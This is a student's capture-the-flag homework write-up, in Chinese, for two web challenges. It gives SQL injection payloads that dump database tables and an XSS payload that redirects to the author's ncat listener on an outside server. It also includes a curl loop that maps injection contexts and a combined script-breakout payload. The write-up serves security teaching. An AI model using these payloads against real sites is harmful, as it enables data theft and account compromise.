[hw0x07] writeup

莊翔旭, woolninesun, b04902083

cei8a

1. 登入，github hacking...找到帳號密碼
2. 翻一翻用 time base 去測試，找到在 teacher.php 有 sql injection 的漏洞
3. sql injection payload 如下
    - `td=wang';select+1,2,3,4,5,6,7,8;--` 可以 leak 資訊
    - `td=wang';select null,table_name from information_schema.tables limit 1 offset 0;--` 得到 teacher 這個 table
    - `td=wang';select null, * from teacher;--` 看看裡面有啥，得到 flag

XSSkitchen

1. 在自己的 server 用 `ncat -vvv -kl 0.0.0.0 9999` 建立簡單的 server，在傳一個基本的 payload 嘗試 xxs

    ```
    document.location='http://server.domain:9999/'
    ```

2. 然後 server 這邊有成功收到訊息，其中一條資訊顯示:

    ```
    Referer: http://localhost/server/7.php?c=document.location=%27http://server.domain:9999/%27
    ```

3. 猜測 `http://localhost/server/7.php?c=payload` 是可以碰到的，就嘗試 `curl http://edu.kaibro.tw:5566/server/7.php?c={FOOD}`，就出現第 7 道食材的樣子
4. 在 terminal 下 command，得到所有食材的樣子：

    ```
    for i in {1..10}; do
        echo $(curl "http://edu.kaibro.tw:5566/server/${i}.php?c=FOOD" 2>/dev/null);
    done
    ```

    ```
    FOOD
    <!--FOOD-->
    <a href="FOOD">haha</a>
    <title>FOOD</title>
    <style>FOOD</style>
    <script>`FOOD`</script>
    <script>FOOD</script>
    <script>/*FOOD*/</script>
    <select><option>FOOD</option></select>
    <xmp>FOOD</xmp>
    ```

5. 建構出 payload: `-->"</title></xmp></style></script><script>alert()</script>`